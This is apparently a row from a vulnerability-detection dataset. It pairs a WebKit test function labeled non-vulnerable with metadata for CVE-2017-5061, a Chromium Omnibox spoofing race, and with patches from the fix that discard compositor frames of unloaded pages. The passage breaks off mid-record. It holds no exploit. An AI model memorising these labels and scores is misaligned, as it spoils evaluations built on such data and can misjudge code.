cd2d7b3da48d2727a9f8f555b0af79169dce0918
| 0
|
void InjectedBundlePage::willRunJavaScriptConfirm(WKBundlePageRef page, WKStringRef message, WKBundleFrameRef frame, const void *clientInfo)
{
return static_cast<InjectedBundlePage*>(const_cast<void*>(clientInfo))->willRunJavaScriptConfirm(message, frame);
}
|
149,947
| null |
Remote
|
Not required
| null |
CVE-2017-5061
|
https://www.cvedetails.com/cve/CVE-2017-5061/
|
CWE-362
|
High
| null |
Partial
| null |
2017-10-27
| 2.6
|
A race condition in navigation in Google Chrome prior to 58.0.3029.81 for Linux, Windows, and Mac allowed a remote attacker to spoof the contents of the Omnibox (URL bar) via a crafted HTML page.
|
2018-01-04
| null | 0
|
https://github.com/chromium/chromium/commit/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
|
5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34
|
(Reland) Discard compositor frames from unloaded web content
This is a reland of https://codereview.chromium.org/2707243005/ with a
small change to fix an uninitialized memory error that fails on MSAN
bots.
BUG=672847
TBR=danakj@chromium.org, creis@chromium.org
CQ_INCLUDE_TRYBOTS=master.tryserver.blink:linux_trusty_blink_rel;master.tryserver.chromium.linux:linux_site_isolation
Review-Url: https://codereview.chromium.org/2731283003
Cr-Commit-Position: refs/heads/master@{#454954}
| 0
|
cc/trees/layer_tree_host_impl.cc
|
{"sha": "42e97e419e13449a165990f1b0f48beaee13e291", "filename": "cc/ipc/cc_param_traits_macros.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/cc_param_traits_macros.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/cc_param_traits_macros.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/ipc/cc_param_traits_macros.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -197,6 +197,7 @@ IPC_STRUCT_TRAITS_BEGIN(cc::CompositorFrameMetadata)\n IPC_STRUCT_TRAITS_MEMBER(selection)\n IPC_STRUCT_TRAITS_MEMBER(latency_info)\n IPC_STRUCT_TRAITS_MEMBER(referenced_surfaces)\n+ IPC_STRUCT_TRAITS_MEMBER(content_source_id)\n IPC_STRUCT_TRAITS_END()\n \n #endif // CC_IPC_CC_PARAM_TRAITS_MACROS_H_"}<_**next**_>{"sha": "74deb8370547dda99092ec93cf55edea0534c4f0", "filename": "cc/ipc/compositor_frame_metadata.mojom", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata.mojom", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata.mojom", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/ipc/compositor_frame_metadata.mojom?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -31,4 +31,5 @@ struct CompositorFrameMetadata {\n array<ui.mojom.LatencyInfo> latency_info;\n array<SurfaceId> referenced_surfaces;\n bool can_activate_before_dependencies;\n+ uint32 content_source_id;\n };"}<_**next**_>{"sha": "cdef417d159f6ca7216509f9124cb88c9e041b48", "filename": "cc/ipc/compositor_frame_metadata_struct_traits.cc", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata_struct_traits.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata_struct_traits.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/ipc/compositor_frame_metadata_struct_traits.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -36,6 +36,7 @@ bool StructTraits<cc::mojom::CompositorFrameMetadataDataView,\n out->top_controls_shown_ratio = data.top_controls_shown_ratio();\n out->bottom_controls_height = data.bottom_controls_height();\n out->bottom_controls_shown_ratio = data.bottom_controls_shown_ratio();\n+ out->content_source_id = data.content_source_id();\n \n out->root_background_color = data.root_background_color();\n out->can_activate_before_dependencies ="}<_**next**_>{"sha": "c58ba45b4b2cdbf6ee0d2f966cf8b3c7ca80a069", "filename": "cc/ipc/compositor_frame_metadata_struct_traits.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata_struct_traits.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/compositor_frame_metadata_struct_traits.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/ipc/compositor_frame_metadata_struct_traits.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -111,6 +111,11 @@ struct StructTraits<cc::mojom::CompositorFrameMetadataDataView,\n return metadata.can_activate_before_dependencies;\n }\n \n+ static uint32_t content_source_id(\n+ const cc::CompositorFrameMetadata& metadata) {\n+ return metadata.content_source_id;\n+ }\n+\n static bool Read(cc::mojom::CompositorFrameMetadataDataView data,\n cc::CompositorFrameMetadata* out);\n };"}<_**next**_>{"sha": "5647cb51ba8574db34dffc3bba8cb1e25022227c", "filename": "cc/ipc/struct_traits_unittest.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/struct_traits_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/ipc/struct_traits_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/ipc/struct_traits_unittest.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -240,6 +240,7 @@ TEST_F(StructTraitsTest, CompositorFrame) {\n const gfx::Vector2dF root_scroll_offset(1234.5f, 6789.1f);\n const float page_scale_factor = 1337.5f;\n const gfx::SizeF scrollable_viewport_size(1337.7f, 1234.5f);\n+ const uint32_t content_source_id = 3;\n \n CompositorFrame input;\n input.metadata.device_scale_factor = device_scale_factor;\n@@ -248,6 +249,7 @@ TEST_F(StructTraitsTest, CompositorFrame) {\n input.metadata.scrollable_viewport_size = scrollable_viewport_size;\n input.render_pass_list.push_back(std::move(render_pass));\n input.resource_list.push_back(resource);\n+ input.metadata.content_source_id = content_source_id;\n \n mojom::TraitsTestServicePtr proxy = GetTraitsTestProxy();\n CompositorFrame output;\n@@ -257,6 +259,7 @@ TEST_F(StructTraitsTest, CompositorFrame) {\n EXPECT_EQ(root_scroll_offset, output.metadata.root_scroll_offset);\n EXPECT_EQ(page_scale_factor, output.metadata.page_scale_factor);\n EXPECT_EQ(scrollable_viewport_size, output.metadata.scrollable_viewport_size);\n+ EXPECT_EQ(content_source_id, output.metadata.content_source_id);\n \n ASSERT_EQ(1u, output.resource_list.size());\n TransferableResource out_resource = output.resource_list[0];"}<_**next**_>{"sha": "8bd04f00d18ce426d4ff098a969ba8556f520f8a", "filename": "cc/output/compositor_frame_metadata.h", "status": "modified", "additions": 6, "deletions": 0, "changes": 6, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/output/compositor_frame_metadata.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/output/compositor_frame_metadata.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/output/compositor_frame_metadata.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -82,6 +82,12 @@ class CC_EXPORT CompositorFrameMetadata {\n // dependencies have been resolved.\n bool can_activate_before_dependencies = true;\n \n+ // This is a value that allows the browser to associate compositor frames\n+ // with the content that they represent -- typically top-level page loads.\n+ // TODO(kenrb, fsamuel): This should eventually by SurfaceID, when they\n+ // become available in all renderer processes. See https://crbug.com/695579.\n+ uint32_t content_source_id = 0;\n+\n private:\n CompositorFrameMetadata(const CompositorFrameMetadata& other);\n CompositorFrameMetadata operator=(const CompositorFrameMetadata&) = delete;"}<_**next**_>{"sha": "942d593868124b3593d8cd735d965cd939c8f069", "filename": "cc/trees/layer_tree_host.cc", "status": "modified", "additions": 10, "deletions": 0, "changes": 10, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_host.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -104,6 +104,7 @@ LayerTreeHost::LayerTreeHost(InitParams* params, CompositorMode mode)\n debug_state_(settings_.initial_debug_state),\n id_(s_layer_tree_host_sequence_number.GetNext() + 1),\n task_graph_runner_(params->task_graph_runner),\n+ content_source_id_(0),\n event_listener_properties_(),\n mutator_host_(params->mutator_host) {\n DCHECK(task_graph_runner_);\n@@ -972,6 +973,13 @@ void LayerTreeHost::SetDeviceColorSpace(\n this, [](Layer* layer) { layer->SetNeedsDisplay(); });\n }\n \n+void LayerTreeHost::SetContentSourceId(uint32_t id) {\n+ if (content_source_id_ == id)\n+ return;\n+ content_source_id_ = id;\n+ SetNeedsCommit();\n+}\n+\n void LayerTreeHost::RegisterLayer(Layer* layer) {\n DCHECK(!LayerById(layer->id()));\n DCHECK(!in_paint_layer_contents_);\n@@ -1142,6 +1150,8 @@ void LayerTreeHost::PushPropertiesTo(LayerTreeImpl* tree_impl) {\n \n tree_impl->SetDeviceColorSpace(device_color_space_);\n \n+ tree_impl->set_content_source_id(content_source_id_);\n+\n if (pending_page_scale_animation_) {\n tree_impl->SetPendingPageScaleAnimation(\n std::move(pending_page_scale_animation_));"}<_**next**_>{"sha": "9a5deabf7aa8d745cfef71e8108d5d0cddbeb321", "filename": "cc/trees/layer_tree_host.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_host.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -309,6 +309,9 @@ class CC_EXPORT LayerTreeHost : public NON_EXPORTED_BASE(SurfaceReferenceOwner),\n return painted_device_scale_factor_;\n }\n \n+ void SetContentSourceId(uint32_t);\n+ uint32_t content_source_id() const { return content_source_id_; }\n+\n void SetDeviceColorSpace(const gfx::ColorSpace& device_color_space);\n const gfx::ColorSpace& device_color_space() const {\n return device_color_space_;\n@@ -570,6 +573,8 @@ class CC_EXPORT LayerTreeHost : public NON_EXPORTED_BASE(SurfaceReferenceOwner),\n float max_page_scale_factor_ = 1.f;\n gfx::ColorSpace device_color_space_;\n \n+ uint32_t content_source_id_;\n+\n SkColor background_color_ = SK_ColorWHITE;\n bool has_transparent_background_ = false;\n "}<_**next**_>{"sha": "15d72e6e3034b85f3020bf918d14201df3e99ac4", "filename": "cc/trees/layer_tree_host_impl.cc", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_host_impl.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -1581,6 +1581,7 @@ CompositorFrameMetadata LayerTreeHostImpl::MakeCompositorFrameMetadata() const {\n metadata.bottom_controls_shown_ratio =\n browser_controls_offset_manager_->BottomControlsShownRatio();\n metadata.root_background_color = active_tree_->background_color();\n+ metadata.content_source_id = active_tree_->content_source_id();\n \n active_tree_->GetViewportSelection(&metadata.selection);\n "}<_**next**_>{"sha": "1f2059cb0c3ea1c3c1bd7d9bf17b64d037a71a42", "filename": "cc/trees/layer_tree_host_unittest.cc", "status": "modified", "additions": 27, "deletions": 0, "changes": 27, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_host_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_host_unittest.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -7010,5 +7010,32 @@ class LayerTreeHostTestSubmitFrameResources : public LayerTreeHostTest {\n \n SINGLE_AND_MULTI_THREAD_TEST_F(LayerTreeHostTestSubmitFrameResources);\n \n+// Ensure that content_source_id is propagated to the frame's metadata.\n+class LayerTreeHostTestContentSourceId : public LayerTreeHostTest {\n+ protected:\n+ void BeginTest() override {\n+ layer_tree_host()->SetContentSourceId(5);\n+ PostSetNeedsCommitToMainThread();\n+ }\n+\n+ DrawResult PrepareToDrawOnThread(LayerTreeHostImpl* host_impl,\n+ LayerTreeHostImpl::FrameData* frame_data,\n+ DrawResult draw_result) override {\n+ EXPECT_EQ(DRAW_SUCCESS, draw_result);\n+ EXPECT_EQ(5U, host_impl->active_tree()->content_source_id());\n+ return draw_result;\n+ }\n+\n+ void DisplayReceivedCompositorFrameOnThread(\n+ const CompositorFrame& frame) override {\n+ EXPECT_EQ(5U, frame.metadata.content_source_id);\n+ EndTest();\n+ }\n+\n+ void AfterTest() override {}\n+};\n+\n+SINGLE_AND_MULTI_THREAD_TEST_F(LayerTreeHostTestContentSourceId);\n+\n } // namespace\n } // namespace cc"}<_**next**_>{"sha": "fa6f8add9f3a85eb5e83e5dc305686c9d73844b5", "filename": "cc/trees/layer_tree_impl.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_impl.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -73,6 +73,7 @@ LayerTreeImpl::LayerTreeImpl(\n max_page_scale_factor_(0),\n device_scale_factor_(1.f),\n painted_device_scale_factor_(1.f),\n+ content_source_id_(0),\n elastic_overscroll_(elastic_overscroll),\n layers_(new OwnedLayerImplList),\n viewport_size_invalid_(false),\n@@ -487,6 +488,8 @@ void LayerTreeImpl::PushPropertiesTo(LayerTreeImpl* target_tree) {\n target_tree->SetDeviceColorSpace(device_color_space_);\n target_tree->elastic_overscroll()->PushPendingToActive();\n \n+ target_tree->set_content_source_id(content_source_id());\n+\n target_tree->pending_page_scale_animation_ =\n std::move(pending_page_scale_animation_);\n "}<_**next**_>{"sha": "02c6e994d3d680dbdfe9df53c335b6183ff03d08", "filename": "cc/trees/layer_tree_impl.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/cc/trees/layer_tree_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/cc/trees/layer_tree_impl.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -229,6 +229,9 @@ class CC_EXPORT LayerTreeImpl {\n return painted_device_scale_factor_;\n }\n \n+ void set_content_source_id(uint32_t id) { content_source_id_ = id; }\n+ uint32_t content_source_id() { return content_source_id_; }\n+\n void SetDeviceColorSpace(const gfx::ColorSpace& device_color_space);\n const gfx::ColorSpace& device_color_space() const {\n return device_color_space_;\n@@ -495,6 +498,8 @@ class CC_EXPORT LayerTreeImpl {\n float painted_device_scale_factor_;\n gfx::ColorSpace device_color_space_;\n \n+ uint32_t content_source_id_;\n+\n scoped_refptr<SyncedElasticOverscroll> elastic_overscroll_;\n \n std::unique_ptr<OwnedLayerImplList> layers_;"}<_**next**_>{"sha": "07e76cc76560b8884caa3f74fc366d1a2a89a9cd", "filename": "content/browser/frame_host/render_frame_host_impl.cc", "status": "modified", "additions": 1, "deletions": 1, "changes": 2, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/frame_host/render_frame_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/frame_host/render_frame_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/frame_host/render_frame_host_impl.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -1305,7 +1305,7 @@ void RenderFrameHostImpl::OnDidCommitProvisionalLoad(const IPC::Message& msg) {\n if (frame_tree_node_->IsMainFrame() && GetView() &&\n !validated_params.was_within_same_page) {\n RenderWidgetHostImpl::From(GetView()->GetRenderWidgetHost())\n- ->StartNewContentRenderingTimeout();\n+ ->StartNewContentRenderingTimeout(validated_params.content_source_id);\n }\n }\n "}<_**next**_>{"sha": "4afec65e2be43a227764516076b2ccd59f26758f", "filename": "content/browser/renderer_host/render_widget_host_impl.cc", "status": "modified", "additions": 11, "deletions": 2, "changes": 13, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_impl.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_impl.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_impl.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -294,6 +294,7 @@ RenderWidgetHostImpl::RenderWidgetHostImpl(RenderWidgetHostDelegate* delegate,\n last_event_type_(blink::WebInputEvent::Undefined),\n new_content_rendering_delay_(\n base::TimeDelta::FromMilliseconds(kNewContentRenderingDelayMs)),\n+ current_content_source_id_(0),\n weak_factory_(this) {\n CHECK(delegate_);\n CHECK_NE(MSG_ROUTING_NONE, routing_id_);\n@@ -985,7 +986,9 @@ void RenderWidgetHostImpl::StopHangMonitorTimeout() {\n RendererIsResponsive();\n }\n \n-void RenderWidgetHostImpl::StartNewContentRenderingTimeout() {\n+void RenderWidgetHostImpl::StartNewContentRenderingTimeout(\n+ uint32_t next_source_id) {\n+ current_content_source_id_ = next_source_id;\n // It is possible for a compositor frame to arrive before the browser is\n // notified about the page being committed, in which case no timer is\n // necessary.\n@@ -1829,7 +1832,13 @@ bool RenderWidgetHostImpl::OnSwapCompositorFrame(\n if (touch_emulator_)\n touch_emulator_->SetDoubleTapSupportForPageEnabled(!is_mobile_optimized);\n \n- if (view_) {\n+ // Ignore this frame if its content has already been unloaded. Source ID\n+ // is always zero for an OOPIF because we are only concerned with displaying\n+ // stale graphics on top-level frames. We accept frames that have a source ID\n+ // greater than |current_content_source_id_| because in some cases the first\n+ // compositor frame can arrive before the navigation commit message that\n+ // updates that value.\n+ if (view_ && frame.metadata.content_source_id >= current_content_source_id_) {\n view_->OnSwapCompositorFrame(compositor_frame_sink_id, std::move(frame));\n view_->DidReceiveRendererFrame();\n } else {"}<_**next**_>{"sha": "11dddf13c0f1ebfe7a95f53baaa4490f5c19f65c", "filename": "content/browser/renderer_host/render_widget_host_impl.h", "status": "modified", "additions": 12, "deletions": 2, "changes": 14, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_impl.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_impl.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_impl.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -325,8 +325,10 @@ class CONTENT_EXPORT RenderWidgetHostImpl : public RenderWidgetHost,\n void StopHangMonitorTimeout();\n \n // Starts the rendering timeout, which will clear displayed graphics if\n- // a new compositor frame is not received before it expires.\n- void StartNewContentRenderingTimeout();\n+ // a new compositor frame is not received before it expires. This also causes\n+ // any new compositor frames received with content_source_id less than\n+ // |next_source_id| to be discarded.\n+ void StartNewContentRenderingTimeout(uint32_t next_source_id);\n \n // Notification that a new compositor frame has been generated following\n // a page load. This stops |new_content_rendering_timeout_|, or prevents\n@@ -889,6 +891,14 @@ class CONTENT_EXPORT RenderWidgetHostImpl : public RenderWidgetHost,\n // renderer process before clearing any previously displayed content.\n base::TimeDelta new_content_rendering_delay_;\n \n+ // This identifier tags compositor frames according to the page load with\n+ // which they are associated, to prevent an unloaded web page from being\n+ // drawn after a navigation to a new page has already committed. This is\n+ // a no-op for non-top-level RenderWidgets, as that should always be zero.\n+ // TODO(kenrb, fsamuel): We should use SurfaceIDs for this purpose when they\n+ // are available in the renderer process. See https://crbug.com/695579.\n+ uint32_t current_content_source_id_;\n+\n #if defined(OS_MACOSX)\n std::unique_ptr<device::PowerSaveBlocker> power_save_blocker_;\n #endif"}<_**next**_>{"sha": "7b74276b680d62098c1593060e633c215d77d2d1", "filename": "content/browser/renderer_host/render_widget_host_unittest.cc", "status": "modified", "additions": 36, "deletions": 3, "changes": 39, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_unittest.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/browser/renderer_host/render_widget_host_unittest.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/browser/renderer_host/render_widget_host_unittest.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -1242,7 +1242,7 @@ TEST_F(RenderWidgetHostTest, NewContentRenderingTimeout) {\n base::TimeDelta::FromMicroseconds(10));\n \n // Test immediate start and stop, ensuring that the timeout doesn't fire.\n- host_->StartNewContentRenderingTimeout();\n+ host_->StartNewContentRenderingTimeout(0);\n host_->OnFirstPaintAfterLoad();\n base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(\n FROM_HERE, base::MessageLoop::QuitWhenIdleClosure(),\n@@ -1254,7 +1254,7 @@ TEST_F(RenderWidgetHostTest, NewContentRenderingTimeout) {\n // Test that the timer doesn't fire if it receives a stop before\n // a start.\n host_->OnFirstPaintAfterLoad();\n- host_->StartNewContentRenderingTimeout();\n+ host_->StartNewContentRenderingTimeout(0);\n base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(\n FROM_HERE, base::MessageLoop::QuitWhenIdleClosure(),\n TimeDelta::FromMicroseconds(20));\n@@ -1263,14 +1263,47 @@ TEST_F(RenderWidgetHostTest, NewContentRenderingTimeout) {\n EXPECT_FALSE(host_->new_content_rendering_timeout_fired());\n \n // Test with a long delay to ensure that it does fire this time.\n- host_->StartNewContentRenderingTimeout();\n+ host_->StartNewContentRenderingTimeout(0);\n base::ThreadTaskRunnerHandle::Get()->PostDelayedTask(\n FROM_HERE, base::MessageLoop::QuitWhenIdleClosure(),\n TimeDelta::FromMicroseconds(20));\n base::RunLoop().Run();\n EXPECT_TRUE(host_->new_content_rendering_timeout_fired());\n }\n \n+// This tests that a compositor frame received with a stale content source ID\n+// in its metadata is properly discarded.\n+TEST_F(RenderWidgetHostTest, SwapCompositorFrameWithBadSourceId) {\n+ host_->StartNewContentRenderingTimeout(100);\n+ host_->OnFirstPaintAfterLoad();\n+\n+ // First swap a frame with an invalid ID.\n+ cc::CompositorFrame frame;\n+ frame.metadata.content_source_id = 99;\n+ host_->OnMessageReceived(ViewHostMsg_SwapCompositorFrame(\n+ 0, 0, frame, std::vector<IPC::Message>()));\n+ EXPECT_FALSE(\n+ static_cast<TestView*>(host_->GetView())->did_swap_compositor_frame());\n+ static_cast<TestView*>(host_->GetView())->reset_did_swap_compositor_frame();\n+\n+ // Test with a valid content ID as a control.\n+ frame.metadata.content_source_id = 100;\n+ host_->OnMessageReceived(ViewHostMsg_SwapCompositorFrame(\n+ 0, 0, frame, std::vector<IPC::Message>()));\n+ EXPECT_TRUE(\n+ static_cast<TestView*>(host_->GetView())->did_swap_compositor_frame());\n+ static_cast<TestView*>(host_->GetView())->reset_did_swap_compositor_frame();\n+\n+ // We also accept frames with higher content IDs, to cover the case where\n+ // the browser process receives a compositor frame for a new page before\n+ // the corresponding DidCommitProvisionalLoad (it's a race).\n+ frame.metadata.content_source_id = 101;\n+ host_->OnMessageReceived(ViewHostMsg_SwapCompositorFrame(\n+ 0, 0, frame, std::vector<IPC::Message>()));\n+ EXPECT_TRUE(\n+ static_cast<TestView*>(host_->GetView())->did_swap_compositor_frame());\n+}\n+\n TEST_F(RenderWidgetHostTest, TouchEmulator) {\n simulated_event_time_delta_seconds_ = 0.1;\n // Immediately ack all touches instead of sending them to the renderer."}<_**next**_>{"sha": "0442702b4436d2608fba0d2c67efd19ed4c53bcb", "filename": "content/common/frame_messages.h", "status": "modified", "additions": 5, "deletions": 0, "changes": 5, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/common/frame_messages.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/common/frame_messages.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/common/frame_messages.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -301,6 +301,11 @@ IPC_STRUCT_BEGIN_WITH_PARENT(FrameHostMsg_DidCommitProvisionalLoad_Params,\n // in BeginNavigationParams.\n IPC_STRUCT_MEMBER(GURL, searchable_form_url)\n IPC_STRUCT_MEMBER(std::string, searchable_form_encoding)\n+\n+ // This is a non-decreasing value that the browser process can use to\n+ // identify and discard compositor frames that correspond to now-unloaded\n+ // web content.\n+ IPC_STRUCT_MEMBER(uint32_t, content_source_id)\n IPC_STRUCT_END()\n \n IPC_STRUCT_BEGIN(FrameMsg_PostMessage_Params)"}<_**next**_>{"sha": "ec1b85791ab2ba985900f3a9c31531b6b2e1d33a", "filename": "content/renderer/gpu/render_widget_compositor.cc", "status": "modified", "additions": 4, "deletions": 0, "changes": 4, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/gpu/render_widget_compositor.cc", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/gpu/render_widget_compositor.cc", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/gpu/render_widget_compositor.cc?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -1130,4 +1130,8 @@ void RenderWidgetCompositor::SetIsForOopif(bool is_for_oopif) {\n is_for_oopif_ = is_for_oopif;\n }\n \n+void RenderWidgetCompositor::SetContentSourceId(uint32_t id) {\n+ layer_tree_host_->SetContentSourceId(id);\n+}\n+\n } // namespace content"}<_**next**_>{"sha": "2367818c65f314ccf5cb4b68c398ec4e61f9289a", "filename": "content/renderer/gpu/render_widget_compositor.h", "status": "modified", "additions": 1, "deletions": 0, "changes": 1, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/gpu/render_widget_compositor.h", "raw_url": "https://github.com/chromium/chromium/raw/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/gpu/render_widget_compositor.h", "contents_url": "https://api.github.com/repos/chromium/chromium/contents/content/renderer/gpu/render_widget_compositor.h?ref=5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34", "patch": "@@ -113,6 +113,7 @@ class CONTENT_EXPORT RenderWidgetCompositor\n void SetPaintedDeviceScaleFactor(float device_scale);\n void SetDeviceColorSpace(const gfx::ColorSpace& color_space);\n void SetIsForOopif(bool is_for_oopif);\n+ void SetContentSourceId(uint32_t);\n \n // WebLayerTreeView implementation.\n cc::FrameSinkId getFrameSinkId() override;"}<_**next**_>{"sha": "4e898b4230b39424b8c816e45b84444834ba8aa3", "filename": "content/renderer/render_frame_impl.cc", "status": "modified", "additions": 3, "deletions": 0, "changes": 3, "blob_url": "https://github.com/chromium/chromium/blob/5d78b84d39bd34bc9fce9d01c0dcd5a22a330d34/content/renderer/render_frame_impl.cc", "raw_url": 